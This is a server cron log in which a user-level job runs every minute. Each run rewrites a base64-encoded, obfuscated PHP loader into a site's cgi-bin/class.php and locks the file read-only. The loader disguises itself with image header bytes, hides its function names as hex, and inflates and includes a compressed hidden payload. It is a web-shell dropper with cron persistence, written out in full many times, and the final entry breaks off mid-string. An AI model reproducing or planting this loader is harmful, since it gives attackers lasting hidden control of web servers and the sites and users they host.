Apr  8 14:16:01 server CROND[695]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:17:01 server CROND[784]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:18:01 server CROND[859]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:19:01 server CROND[952]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:20:01 server CROND[1045]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 14:20:01 server CROND[1046]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 14:20:01 server CROND[1048]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 14:20:01 server CROND[1049]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 14:20:01 server CROND[1052]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:21:01 server CROND[1285]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:22:01 server CROND[1386]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:23:01 server CROND[1450]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:24:01 server CROND[1534]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:25:01 server CROND[1601]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 14:25:01 server CROND[1602]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:25:01 server CROND[1604]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  8 14:25:01 server CROND[1605]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 14:26:01 server CROND[1820]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:27:01 server CROND[1884]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:27:01 server CROND[1885]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 14:28:01 server CROND[1968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:29:01 server CROND[2028]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqB